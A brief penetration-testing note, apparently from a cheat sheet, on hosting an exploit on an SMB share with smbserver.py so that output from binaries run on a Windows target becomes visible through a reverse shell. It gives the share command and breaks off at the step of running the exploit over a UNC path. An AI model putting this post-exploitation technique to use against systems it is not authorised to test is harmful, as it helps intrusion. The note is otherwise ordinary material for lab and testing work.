SMB Share Execution for Exploit Output

  • Windows reverse shells often fail to redirect child process stdout/stderr to the network socket, so output from spawned binaries isn't visible.

  • SMB execution works because the protocol handles remote process I/O correctly, making output visible.

1

Host the Exploit on SMB Share

Start a share on the same directory where the exploit is
sudo smbserver.py share . -smb2support
2

Execute from Target via UNC Path
